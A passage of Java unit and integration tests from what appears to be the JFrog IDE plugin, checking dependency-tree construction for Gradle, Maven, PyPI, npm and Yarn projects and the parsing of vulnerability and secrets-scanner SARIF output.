@NotNull String getExtras() { return ""; } @Override public @Nullable PyPackage match(@NotNull Collection collection) { return null; } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/scan/GradleScannerTest.java ================================================ package com.jfrog.ide.idea.scan; import com.intellij.testFramework.HeavyPlatformTestCase; import com.intellij.util.ConcurrencyUtil; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.deptree.DepTreeNode; import com.jfrog.ide.common.gradle.GradleDriver; import com.jfrog.ide.common.scan.GraphScanLogic; import org.apache.commons.io.FileUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.SystemUtils; import org.jetbrains.plugins.gradle.service.project.open.GradleProjectImportUtil; import org.jfrog.build.api.util.NullLog; import java.io.File; import java.io.IOException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; import java.util.concurrent.ExecutorService; import static com.jfrog.ide.idea.TestUtils.getAndAssertChild; /** * @author yahavi **/ public class GradleScannerTest extends HeavyPlatformTestCase { private static final Path GRADLE_ROOT = Paths.get(".").toAbsolutePath().normalize().resolve(Paths.get("src", "test", "resources", "gradle")); private ExecutorService executorService; private String wrapperProjectDir; private String globalProjectDir; @Override protected void setUp() throws Exception { super.setUp(); wrapperProjectDir = createTempProjectDir("wrapper"); // This is intended to make sure the Gradle Wrapper distribution was downloaded to the machine GradleDriver driver = new GradleDriver(Path.of(wrapperProjectDir, SystemUtils.IS_OS_WINDOWS ? "gradlew.bat" : "gradlew").toString(), System.getenv()); driver.verifyGradleInstalled(); globalProjectDir = createTempProjectDir("global"); executorService = ConcurrencyUtil.newSameThreadExecutorService(); } @Override protected void tearDown() throws Exception { executorService.shutdown(); super.tearDown(); } private String createTempProjectDir(String projectName) throws IOException { String tempProjectDir = getTempDir().createVirtualDir(projectName).toNioPath().toString(); FileUtils.copyDirectory(GRADLE_ROOT.resolve(projectName).toFile(), new File(tempProjectDir)); return tempProjectDir; } public void testGetGradleWrapperExeAndJdk() throws IOException { GradleProjectImportUtil.linkAndRefreshGradleProject(wrapperProjectDir, getProject()); GradleScanner gradleScanner = new GradleScanner(getProject(), wrapperProjectDir, executorService, null); Map env = new HashMap<>(); String gradleExe = gradleScanner.getGradleExeAndJdk(env); assertEquals(System.getenv("JAVA_HOME"), env.get("JAVA_HOME")); assertTrue(StringUtils.contains(gradleExe, "wrapper")); new GradleDriver(gradleExe, null).verifyGradleInstalled(); } public void testGetGradleGlobalExeAndJdk() throws IOException { GradleProjectImportUtil.linkAndRefreshGradleProject(globalProjectDir, getProject()); GradleScanner gradleScanner = new GradleScanner(getProject(), globalProjectDir, executorService, null); Map env = new HashMap<>(); String gradleExe = gradleScanner.getGradleExeAndJdk(env); assertEquals(System.getenv("JAVA_HOME"), env.get("JAVA_HOME")); new GradleDriver(gradleExe, null).verifyGradleInstalled(); } public void testBuildTree() throws IOException { GradleProjectImportUtil.linkAndRefreshGradleProject(globalProjectDir, getProject()); GradleScanner gradleScanner = new GradleScanner(getProject(), globalProjectDir, executorService, new GraphScanLogic(new NullLog())); // Run and check scan results DepTree results = gradleScanner.buildTree(); assertNotNull(results); assertEquals(Paths.get(globalProjectDir).getFileName().toString(), results.rootId()); assertEquals(3, results.getRootNode().getChildren().size()); // Check module dependency DepTreeNode moduleNode = getAndAssertChild(results, results.getRootNode(), "org.jfrog.test.gradle.publish:shared:1.0-SNAPSHOT"); assertEquals(1, moduleNode.getChildren().size()); // Check dependency DepTreeNode dependencyNode = getAndAssertChild(results, moduleNode, "junit:junit:4.7"); assertContainsElements(dependencyNode.getScopes(), "testImplementation", "testRuntimeClasspath", "testCompileClasspath"); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/scan/MavenScannerTest.java ================================================ package com.jfrog.ide.idea.scan; import com.intellij.testFramework.fixtures.BasePlatformTestCase; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.deptree.DepTreeNode; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.LicenseViolationNode; import com.jfrog.ide.common.nodes.subentities.Severity; import com.jfrog.ide.idea.scan.utils.ImpactTreeBuilder; import java.util.*; public class MavenScannerTest extends BasePlatformTestCase { public void testGroupDependenciesToDescriptorNodes() { final String MULTI_DESC_PATH = "/path/to/project/maven-example/pom.xml"; final String MULTI1_DESC_PATH = "/path/to/project/maven-example/multi1/pom.xml"; final String MULTI2_DESC_PATH = "/path/to/project/maven-example/multi2/pom.xml"; final String MULTI3_DESC_PATH = "/path/to/project/maven-example/multi3/pom.xml"; final String MULTI_COMP_ID = "org.jfrog.test:multi:3.7.x-SNAPSHOT"; final String MULTI1_COMP_ID = "org.jfrog.test:multi1:3.7.x-SNAPSHOT"; final String MULTI2_COMP_ID = "org.jfrog.test:multi2:3.7.x-SNAPSHOT"; final String MULTI3_COMP_ID = "org.jfrog.test:multi3:3.7.x-SNAPSHOT"; final String SPRING_AOP_COMP_ID = "org.springframework:spring-aop:2.5.6"; final String SPRING_CORE_COMP_ID = "org.springframework:spring-core:2.5.6"; final String LOG4J_COMP_ID = "log4j:log4j:1.2.17"; DepTree depTree = new DepTree(MULTI_COMP_ID, new HashMap<>() {{ put(MULTI_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI_DESC_PATH).children(Set.of(MULTI1_COMP_ID, MULTI3_COMP_ID, LOG4J_COMP_ID))); put(MULTI1_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI1_DESC_PATH).children(Set.of(LOG4J_COMP_ID))); put(MULTI2_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI2_DESC_PATH).children(Set.of(SPRING_CORE_COMP_ID))); put(MULTI3_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI3_DESC_PATH).children(Set.of(MULTI1_COMP_ID, LOG4J_COMP_ID, SPRING_AOP_COMP_ID))); put(SPRING_AOP_COMP_ID, new DepTreeNode().children(Set.of(SPRING_CORE_COMP_ID))); put(SPRING_CORE_COMP_ID, new DepTreeNode().children(Set.of())); put(LOG4J_COMP_ID, new DepTreeNode().children(Set.of())); }}); Map> parents = ScannerBase.getParents(depTree); List vulnerableDeps = new ArrayList<>() {{ add(new DependencyNode() {{ addIssue(new LicenseViolationNode("", "", null, Severity.High, "", null)); }}.componentId("gav://" + LOG4J_COMP_ID)); add(new DependencyNode() {{ addIssue(new LicenseViolationNode("", "", null, Severity.High, "", null)); }}.componentId("gav://" + SPRING_AOP_COMP_ID)); }}; MavenScanner scanner = new MavenScanner(getProject(), null, null); List fileTreeNodes = scanner.groupDependenciesToDescriptorNodes(vulnerableDeps, depTree, parents); assertEquals(3, fileTreeNodes.size()); FileTreeNode multiDescFile = fileTreeNodes.stream().filter(fileTreeNode -> fileTreeNode.getFilePath().equals(MULTI_DESC_PATH)).findFirst().get(); FileTreeNode multi1DescFile = fileTreeNodes.stream().filter(fileTreeNode -> fileTreeNode.getFilePath().equals(MULTI1_DESC_PATH)).findFirst().get(); FileTreeNode multi3DescFile = fileTreeNodes.stream().filter(fileTreeNode -> fileTreeNode.getFilePath().equals(MULTI3_DESC_PATH)).findFirst().get(); assertEquals(2, multiDescFile.getChildren().size()); DependencyNode multiLog4jDepNode = multiDescFile.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).filter(depNode -> depNode.getComponentId().equals("gav://" + LOG4J_COMP_ID)).findFirst().get(); assertFalse(multiLog4jDepNode.isIndirect()); DependencyNode multiSpringAopDepNode = multiDescFile.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).filter(depNode -> depNode.getComponentId().equals("gav://" + SPRING_AOP_COMP_ID)).findFirst().get(); assertTrue(multiSpringAopDepNode.isIndirect()); assertEquals(1, multi1DescFile.getChildren().size()); DependencyNode multi1Log4jDepNode = multi1DescFile.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).filter(depNode -> depNode.getComponentId().equals("gav://" + LOG4J_COMP_ID)).findFirst().get(); assertFalse(multi1Log4jDepNode.isIndirect()); assertEquals(2, multi3DescFile.getChildren().size()); DependencyNode multi3Log4jDepNode = multi3DescFile.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).filter(depNode -> depNode.getComponentId().equals("gav://" + LOG4J_COMP_ID)).findFirst().get(); assertFalse(multi3Log4jDepNode.isIndirect()); DependencyNode multi3SpringAopDepNode = multi3DescFile.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).filter(depNode -> depNode.getComponentId().equals("gav://" + SPRING_AOP_COMP_ID)).findFirst().get(); assertFalse(multi3SpringAopDepNode.isIndirect()); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/scan/PypiScannerTest.java ================================================ package com.jfrog.ide.idea.scan; import com.google.common.collect.Lists; import com.intellij.execution.ExecutionException; import com.intellij.openapi.progress.ProgressIndicator; import com.intellij.openapi.progress.ProgressManager; import com.intellij.openapi.progress.Task; import com.intellij.openapi.projectRoots.Sdk; import com.intellij.openapi.projectRoots.impl.ProjectJdkImpl; import com.intellij.testFramework.LightProjectDescriptor; import com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase; import com.intellij.util.ConcurrencyUtil; import com.jetbrains.python.packaging.PyPackageManager; import com.jetbrains.python.packaging.PyPackageManagers; import com.jetbrains.python.sdk.PythonSdkType; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.deptree.DepTreeNode; import com.jfrog.ide.common.scan.GraphScanLogic; import org.apache.commons.lang3.SystemUtils; import org.apache.commons.lang3.exception.ExceptionUtils; import org.codehaus.plexus.util.FileUtils; import org.jetbrains.annotations.NotNull; import org.jfrog.build.api.util.NullLog; import org.jfrog.build.extractor.executor.CommandExecutor; import org.jfrog.build.extractor.executor.CommandResults; import org.mockito.MockedStatic; import org.mockito.Mockito; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.util.ArrayList; import java.util.concurrent.ExecutorService; import static com.jfrog.ide.idea.TestUtils.getAndAssertChild; /** * @author yahavi **/ public class PypiScannerTest extends LightJavaCodeInsightFixtureTestCase { private static final String SDK_NAME = "Test Python SDK"; private static final String DIRECT_DEPENDENCY_NAME = "Scrapy"; private static final String DIRECT_DEPENDENCY_VERSION = "2.9.0"; private static final String TRANSITIVE_DEPENDENCY_NAME = "pyopenssl"; private ExecutorService executorService; private Sdk pythonSdk; private File tmpDir; @Override protected void setUp() throws Exception { super.setUp(); createVirtualEnv(); resolvePythonSdk(); executorService = ConcurrencyUtil.newSameThreadExecutorService(); } @Override protected void tearDown() throws Exception { if (tmpDir != null) { FileUtils.deleteDirectory(tmpDir); } PyPackageManagers.getInstance().clearCache(pythonSdk); executorService.shutdown(); super.tearDown(); } @Override protected @NotNull LightProjectDescriptor getProjectDescriptor() { return LightJavaCodeInsightFixtureTestCase.JAVA_11; } private void createVirtualEnv() throws IOException, InterruptedException { tmpDir = Files.createTempDirectory("").toFile(); CommandExecutor commandExecutor = new CommandExecutor("python", null); ArrayList args = Lists.newArrayList("-m", "venv", "pip-venv"); CommandResults results = commandExecutor.exeCommand(tmpDir, Lists.newArrayList(args), null, new NullLog()); if (!results.isOk()) { // The Python tests requires Python 3 because the "venv" module exists only at Python 3. // In some machines the "python" executable is Python 2. commandExecutor = new CommandExecutor("python3", null); results = commandExecutor.exeCommand(tmpDir, Lists.newArrayList(args), null, new NullLog()); } assertTrue(results.getRes() + ". Error: " + results.getErr(), results.isOk()); } private void resolvePythonSdk() { Path virtualEnv = tmpDir.toPath().resolve("pip-venv"); Path venvPath = SystemUtils.IS_OS_WINDOWS ? virtualEnv.resolve("Scripts") : virtualEnv.resolve("bin"); pythonSdk = new ProjectJdkImpl(SDK_NAME, PythonSdkType.getInstance(), venvPath.resolve("python").toString(), ""); } private void installDependencyOnVirtualEnv() { ProgressManager.getInstance().run(new Task.Modal(getProject(), "Install Dependency", false) { @Override public void run(@NotNull ProgressIndicator indicator) { try { PyPackageManager pyPackageManager = PyPackageManager.getInstance(pythonSdk); pyPackageManager.install(DIRECT_DEPENDENCY_NAME + "==" + DIRECT_DEPENDENCY_VERSION); } catch (ExecutionException e) { fail(ExceptionUtils.getRootCauseMessage(e)); } } }); } public void testBuildTree() throws IOException { installDependencyOnVirtualEnv(); PypiScanner pypiScanner = new PypiScanner(getProject(), pythonSdk, executorService, new GraphScanLogic(new NullLog())); // Check root SDK node DepTree results = pypiScanner.buildTree(); assertEquals(SDK_NAME, results.rootId()); assertEquals(SDK_NAME, results.rootId()); assertEquals(pythonSdk.getHomePath(), results.getRootNodeDescriptorFilePath()); // Verify Scrapy has at least 15 direct dependencies (count may change over time due to transitive dependencies updates). assertTrue(results.getRootNode().getChildren().size() >= 15); // Check direct dependency String directDepId = DIRECT_DEPENDENCY_NAME + ":" + DIRECT_DEPENDENCY_VERSION; DepTreeNode scrappy = getAndAssertChild(results, results.getRootNode(), directDepId); // Check transitive dependency String pyOpenSSLDepId = scrappy.getChildren().stream().filter(childId -> childId.startsWith(TRANSITIVE_DEPENDENCY_NAME + ":")).findFirst().get(); DepTreeNode pyOpenSSLDepNode = results.nodes().get(pyOpenSSLDepId); assertNotNull("Couldn't find node '" + pyOpenSSLDepId + "'.", pyOpenSSLDepNode); assertSize(1, pyOpenSSLDepNode.getChildren()); } public void testBuildTreeCircularDependency() throws IOException { try (MockedStatic mockController = Mockito.mockStatic(PyPackageManager.class)) { mockController.when(() -> PyPackageManager.getInstance(pythonSdk)).thenReturn(new DummyCircularDepPyPkgManager(pythonSdk)); PypiScanner pypiScanner = new PypiScanner(getProject(), pythonSdk, executorService, new GraphScanLogic(new NullLog())); // Check root SDK node DepTree results = pypiScanner.buildTree(); assertEquals(SDK_NAME, results.rootId()); assertEquals(pythonSdk.getHomePath(), results.getRootNodeDescriptorFilePath()); assertNotEmpty(results.getRootNode().getChildren()); // The expected tree: root -> a-> b -> a // Check root String directDepId = DummyCircularDepPyPkgManager.DIRECT_DEPENDENCY_NAME + ":" + DummyCircularDepPyPkgManager.DIRECT_DEPENDENCY_VERSION; DepTreeNode root = getAndAssertChild(results, results.getRootNode(), directDepId); assertSize(1, root.getChildren()); String depIdA = DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_A + ":" + DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_VERSION; DepTreeNode a = getAndAssertChild(results, root, depIdA); // Check dependency "a" assertSize(1, a.getChildren()); String depIdB = DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_B + ":" + DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_VERSION; DepTreeNode b = getAndAssertChild(results, a, depIdB); // Check dependency "b" assertSize(1, b.getChildren()); getAndAssertChild(results, b, DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_A + ":" + DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_VERSION); } } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/scan/ScanBinaryExecutorTest.java ================================================ package com.jfrog.ide.idea.scan; import com.fasterxml.jackson.databind.ObjectMapper; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.scan.data.ScanConfig; import com.jfrog.ide.idea.scan.data.ScansConfig; import junit.framework.TestCase; import org.apache.commons.io.FileUtils; import org.jfrog.build.api.util.NullLog; import java.io.File; import java.io.IOException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.List; import static com.jfrog.ide.common.utils.Utils.createYAMLMapper; import static org.junit.Assert.assertThrows; /** * @author tala **/ public class ScanBinaryExecutorTest extends TestCase { private final ScanBinaryExecutor scanner = new ApplicabilityScannerExecutor(new NullLog()); private final ScanBinaryExecutor secretsScanner = new SecretsScannerExecutor(new NullLog()); private final Path FAULTY_OUTPUT = new File("src/test/resources/sourceCode/faulty_output.sarif").toPath(); private final Path SIMPLE_OUTPUT = new File("src/test/resources/sourceCode/simple_output.sarif").toPath(); private final Path APPLIC_KIND_PASS_AND_FAIL_OUTPUT = new File("src/test/resources/sourceCode/applicable_kind_pass_output.sarif").toPath(); private final Path SECRETS_WITH_INFORMATIONAL_OUTPUT = new File("src/test/resources/sourceCode/secrets_with_informational_output.sarif").toPath(); public void testInputBuilder() throws IOException { ScanConfig.Builder inputFileBuilder = new ScanConfig.Builder(); Path inputPath = null; String testOutput = "file/location\\out.sarif"; String testLanguage = "Go"; List testRoots = List.of("a", "b", "c"); inputFileBuilder.scanType(scanner.scanType); inputFileBuilder.output(testOutput); inputFileBuilder.language(testLanguage); inputFileBuilder.roots(testRoots); try { inputPath = scanner.createTempRunInputFile(new ScansConfig(List.of(inputFileBuilder.Build()))); ScansConfig inputFile = readScansConfigYAML(inputPath); assertNotNull(inputFile); assertEquals(1, inputFile.getScans().size()); assertEquals(testOutput, inputFile.getScans().get(0).getOutput()); assertEquals(testLanguage, inputFile.getScans().get(0).getLanguage()); assertEquals(testRoots, inputFile.getScans().get(0).getRoots()); } finally { if (inputPath != null) { FileUtils.deleteQuietly(inputPath.toFile()); } } } public void testSarifParser() throws IOException { List parsedOutput = scanner.parseOutputSarif(SIMPLE_OUTPUT); String expectedPath = Paths.get("/examples/applic-demo/index.js").toString(); assertEquals(2, parsedOutput.size()); assertEquals("applic_CVE-2022-25878", parsedOutput.get(0).getRuleID()); assertEquals("CVE-2022-25978", parsedOutput.get(1).getRuleID()); assertEquals(expectedPath, parsedOutput.get(0).getFilePath()); assertEquals(expectedPath, parsedOutput.get(1).getFilePath()); assertEquals("The vulnerable function protobufjs.load is called", parsedOutput.get(0).getReason()); assertEquals("The vulnerable function protobufjs.parse is called.", parsedOutput.get(1).getReason()); assertEquals(19, parsedOutput.get(0).getLineStart()); assertEquals(17, parsedOutput.get(1).getLineStart()); assertEquals(19, parsedOutput.get(0).getLineEnd()); assertEquals(21, parsedOutput.get(1).getLineEnd()); assertEquals(0, parsedOutput.get(0).getColStart()); assertEquals(0, parsedOutput.get(1).getColStart()); assertEquals(17, parsedOutput.get(0).getColEnd()); assertEquals(73, parsedOutput.get(1).getColEnd()); } public void testSarifParserWithMissingRole() throws IndexOutOfBoundsException { assertThrows(IndexOutOfBoundsException.class,() -> secretsScanner.parseOutputSarif(FAULTY_OUTPUT)); } public void testSarifParserApplicResultsWithRulesBasedParsing() throws IOException { List parsedOutput = scanner.parseOutputSarif(APPLIC_KIND_PASS_AND_FAIL_OUTPUT); assertEquals(2, parsedOutput.size()); // Not applicable based on rule properties assertEquals("applic_CVE-2022-25878", parsedOutput.get(0).getRuleID()); assertFalse(parsedOutput.get(0).isApplicable()); // Applicable based on rule properties, with evidence location from result assertEquals("applic_CVE-2022-25978", parsedOutput.get(1).getRuleID()); assertTrue(parsedOutput.get(1).isApplicable()); } public void testSarifParserSkipsInformationalResults() throws IOException { List parsedOutput = secretsScanner.parseOutputSarif(SECRETS_WITH_INFORMATIONAL_OUTPUT); assertEquals(1, parsedOutput.size()); assertEquals("REQ.SECRET.GENERIC.TEXT", parsedOutput.get(0).getRuleID()); assertEquals("Hardcoded secrets were found", parsedOutput.get(0).getReason()); } public void testGetBinaryDownloadURL() { final String externalRepoName = "test-releases-repo"; final String expectedExternalRepoUrl = "test-releases-repo/artifactory/xsc-gen-exe-analyzer-manager-local/"; final String expectedNoExternalRepoUrl = "xsc-gen-exe-analyzer-manager-local/"; String actualNoExternalRepoUrl = scanner.getBinaryDownloadURL(null); assertTrue(actualNoExternalRepoUrl.startsWith(expectedNoExternalRepoUrl)); String actualExternalRepoUrl = scanner.getBinaryDownloadURL(externalRepoName); assertTrue(actualExternalRepoUrl.startsWith(expectedExternalRepoUrl)); } private ScansConfig readScansConfigYAML(Path inputPath) throws IOException { ObjectMapper mapper = createYAMLMapper(); return mapper.readValue(inputPath.toFile(), ScansConfig.class); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/scan/ScannerBaseTest.java ================================================ package com.jfrog.ide.idea.scan; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.deptree.DepTreeNode; import org.junit.Assert; import org.junit.Test; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; public class ScannerBaseTest { @Test public void testGetParents() { final String MULTI_DESC_PATH = "/path/to/project/maven-example/pom.xml"; final String MULTI1_DESC_PATH = "/path/to/project/maven-example/multi1/pom.xml"; final String MULTI3_DESC_PATH = "/path/to/project/maven-example/multi3/pom.xml"; final String MULTI_COMP_ID = "org.jfrog.test:multi:3.7.x-SNAPSHOT"; final String MULTI1_COMP_ID = "org.jfrog.test:multi1:3.7.x-SNAPSHOT"; final String MULTI3_COMP_ID = "org.jfrog.test:multi3:3.7.x-SNAPSHOT"; final String SPRING_AOP_COMP_ID = "org.springframework:spring-aop:2.5.6"; final String LOG4J_COMP_ID = "log4j:log4j:1.2.17"; DepTree depTree = new DepTree(MULTI_COMP_ID, new HashMap<>() {{ put(MULTI_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI_DESC_PATH).children(Set.of(MULTI1_COMP_ID, MULTI3_COMP_ID, LOG4J_COMP_ID))); put(MULTI1_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI1_DESC_PATH).children(Set.of(LOG4J_COMP_ID))); put(MULTI3_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI3_DESC_PATH).children(Set.of(MULTI1_COMP_ID, LOG4J_COMP_ID, SPRING_AOP_COMP_ID))); put(SPRING_AOP_COMP_ID, new DepTreeNode().children(Set.of())); put(LOG4J_COMP_ID, new DepTreeNode().children(Set.of())); }}); Map> expectedParents = new HashMap<>() {{ put(MULTI1_COMP_ID, new HashSet<>() {{ add(MULTI_COMP_ID); add(MULTI3_COMP_ID); }}); put(MULTI3_COMP_ID, new HashSet<>() {{ add(MULTI_COMP_ID); }}); put(SPRING_AOP_COMP_ID, new HashSet<>() {{ add(MULTI3_COMP_ID); }}); put(LOG4J_COMP_ID, new HashSet<>() {{ add(MULTI_COMP_ID); add(MULTI1_COMP_ID); add(MULTI3_COMP_ID); }}); }}; Map> actualParents = ScannerBase.getParents(depTree); Assert.assertEquals(expectedParents, actualParents); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/scan/SingleDescriptorScannerTest.java ================================================ package com.jfrog.ide.idea.scan; import com.intellij.testFramework.fixtures.BasePlatformTestCase; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.deptree.DepTreeNode; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.LicenseViolationNode; import com.jfrog.ide.common.nodes.subentities.Severity; import org.junit.Test; import java.nio.file.Paths; import java.util.*; public class SingleDescriptorScannerTest extends BasePlatformTestCase { public void testGroupDependenciesToDescriptorNodes() { final String ROOT_ID = "npm-example:0.0.3"; final String ROOT_PATH = Paths.get("path", "to", "project").toString(); final String SEND_COMP_ID = "send:0.5.0"; final String DEBUG_COMP_ID = "debug:1.0.2"; final String MS_COMP_ID = "ms:0.6.2"; DepTree depTree = new DepTree(ROOT_ID, new HashMap<>() {{ put(ROOT_ID, new DepTreeNode().descriptorFilePath(Paths.get(ROOT_PATH, "package.json").toString()).children(Set.of(SEND_COMP_ID, MS_COMP_ID))); put(SEND_COMP_ID, new DepTreeNode().children(Set.of(DEBUG_COMP_ID, MS_COMP_ID))); put(DEBUG_COMP_ID, new DepTreeNode().children(Set.of())); put(MS_COMP_ID, new DepTreeNode().children(Set.of())); }}); Map> parents = ScannerBase.getParents(depTree); List vulnerableDeps = new ArrayList<>() {{ add(new DependencyNode() {{ addIssue(new LicenseViolationNode("", "", null, Severity.High, "", null)); }}.componentId("npm://" + SEND_COMP_ID)); add(new DependencyNode() {{ addIssue(new LicenseViolationNode("", "", null, Severity.High, "", null)); }}.componentId("npm://" + DEBUG_COMP_ID)); add(new DependencyNode() {{ addIssue(new LicenseViolationNode("", "", null, Severity.High, "", null)); }}.componentId("npm://" + MS_COMP_ID)); }}; NpmScanner scanner = new NpmScanner(getProject(), ROOT_PATH, null, null); List fileTreeNodes = scanner.groupDependenciesToDescriptorNodes(vulnerableDeps, depTree, parents); assertEquals(1, fileTreeNodes.size()); FileTreeNode descriptorNode = fileTreeNodes.get(0); List depNodes = descriptorNode.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).toList(); assertEquals(3, descriptorNode.getChildren().size()); DependencyNode sendDepNode = depNodes.stream().filter(depNode -> depNode.getComponentId().equals("npm://" + SEND_COMP_ID)).findFirst().get(); assertFalse(sendDepNode.isIndirect()); DependencyNode debugDepNode = depNodes.stream().filter(depNode -> depNode.getComponentId().equals("npm://" + DEBUG_COMP_ID)).findFirst().get(); assertTrue(debugDepNode.isIndirect()); DependencyNode msDepNode = depNodes.stream().filter(depNode -> depNode.getComponentId().equals("npm://" + MS_COMP_ID)).findFirst().get(); assertFalse(msDepNode.isIndirect()); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/scan/SourceCodeManagerTest.java ================================================ package com.jfrog.ide.idea.scan; import org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import java.util.Arrays; import java.util.Collection; import static com.jfrog.ide.idea.scan.SourceCodeScannerManager.convertToSkippedFolders; @RunWith(Parameterized.class) public class SourceCodeManagerTest { @Parameterized.Parameters public static Collection data() { return Arrays.asList(new Object[][]{ {"", new String[]{}}, {"**/*{.idea}*", new String[]{"**/*.idea*/**"}}, {"**/*.idea*", new String[]{"**/*.idea*/**"}}, {"**/*{.idea,test,node_modules}*", new String[]{"**/*.idea*/**", "**/*test*/**", "**/*node_modules*/**"}}, }); } private final String excludedPaths; private final String[] skipFolders; public SourceCodeManagerTest(String excludedPaths, String[] skipFolders) { this.excludedPaths = excludedPaths; this.skipFolders = skipFolders; } @Test public void testConvertToSkippedFolders() { Assert.assertArrayEquals(skipFolders, convertToSkippedFolders(excludedPaths).toArray()); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/scan/YarnScannerTest.java ================================================ package com.jfrog.ide.idea.scan; import com.google.common.collect.Sets; import com.intellij.testFramework.HeavyPlatformTestCase; import com.intellij.util.ConcurrencyUtil; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.scan.GraphScanLogic; import org.apache.commons.io.FileUtils; import org.jfrog.build.api.util.NullLog; import javax.swing.tree.TreeNode; import java.io.IOException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.*; import java.util.concurrent.ExecutorService; public class YarnScannerTest extends HeavyPlatformTestCase { private static final Path YARN_ROOT = Paths.get(".").toAbsolutePath().normalize().resolve(Paths.get("src", "test", "resources", "yarn")); private ExecutorService executorService; private String tempProjectDir; public enum Project { EXAMPLE("exampleYarnPackage"), MONOREPO("exampleYarnMonorepo"); private final String name; Project(String name) { this.name = name; } } @Override protected void setUp() throws Exception { super.setUp(); executorService = ConcurrencyUtil.newSameThreadExecutorService(); } @Override protected void tearDown() throws Exception { try { executorService.shutdown(); } finally { // Ensure that tearDown gets executed even if an exception is thrown super.tearDown(); } } private String createTempProjectDir(String projectName) throws IOException { // Using a virtual directory allows each test to have its own isolated workspace, preventing interference between tests. String tempProjectDir = getTempDir().createVirtualDir(projectName).toNioPath().toString(); FileUtils.copyDirectory(YARN_ROOT.resolve(projectName).toFile(), FileUtils.getFile(tempProjectDir)); return tempProjectDir; } public void testGetPackageNameToVersionsMap() throws IOException { tempProjectDir = createTempProjectDir(Project.EXAMPLE.name); YarnScanner yarnScanner = new YarnScanner(getProject(), tempProjectDir, executorService, new GraphScanLogic(new NullLog())); Set packages = new HashSet<>(Arrays.asList("package1:1.0.123", "package2:2.0.9", "package1:1.0.123", "package2:2.1.7")); Map> packageNameToVersions = yarnScanner.getPackageNameToVersionsMap(packages); assertEquals(2, packageNameToVersions.size()); assertTrue(packageNameToVersions.containsKey("package1")); assertTrue(packageNameToVersions.containsKey("package2")); assertFalse(packageNameToVersions.containsKey("package3")); assertEquals(Sets.newHashSet("1.0.123"), packageNameToVersions.get("package1")); assertEquals(Sets.newHashSet("2.0.9", "2.1.7"), packageNameToVersions.get("package2")); } private Map vulnerableDependenciesMapInit(String[] vulnerableDependencies) { Map vulnerableDependenciesMap = new HashMap<>(); for (String vulnerableDependency : vulnerableDependencies) { DependencyNode dependencyNode = new DependencyNode(); dependencyNode.componentId(vulnerableDependency); vulnerableDependenciesMap.put(vulnerableDependency, dependencyNode); } return vulnerableDependenciesMap; } private void walkDepTreeCommonTest(String projectName, String rootId, String[] vulnerableDependencies) throws IOException { tempProjectDir = createTempProjectDir(Project.valueOf(projectName).name); YarnScanner yarnScanner = new YarnScanner(getProject(), tempProjectDir, executorService, new GraphScanLogic(new NullLog())); // Sanity check - make sure the dependency tree is generated. DepTree depTree = yarnScanner.buildTree(); assertNotNull(depTree); assertEquals(depTree.rootId(), rootId); // Test the walkDepTree method: Map vulnerableDependenciesMap = vulnerableDependenciesMapInit(vulnerableDependencies); // Run the method List fileTreeNodes = yarnScanner.buildImpactGraph(vulnerableDependenciesMap, depTree); // Check there is only one file tree node and it's package.json assertEquals(1, fileTreeNodes.size()); assertEquals("package.json", fileTreeNodes.get(0).getTitle()); // Check the impact graphs is attached to the package.json node. FileTreeNode packageJsonNode = fileTreeNodes.get(0); assertEquals(vulnerableDependencies.length, packageJsonNode.getChildren().size()); // Check the impact graph correctness. for (TreeNode treeNode : packageJsonNode.getChildren()) { DependencyNode dependencyNode = (DependencyNode) treeNode; boolean isIndirect = dependencyNode.isIndirect(); int impactPathsCount = dependencyNode.getImpactTree().getImpactPathsCount(); switch (dependencyNode.getComponentId()) { // Handle specific cases for different dependencies case "axios:1.5.1" -> { assertFalse(isIndirect); assertEquals(3, impactPathsCount); } case "lodash:4.16.2" -> { if 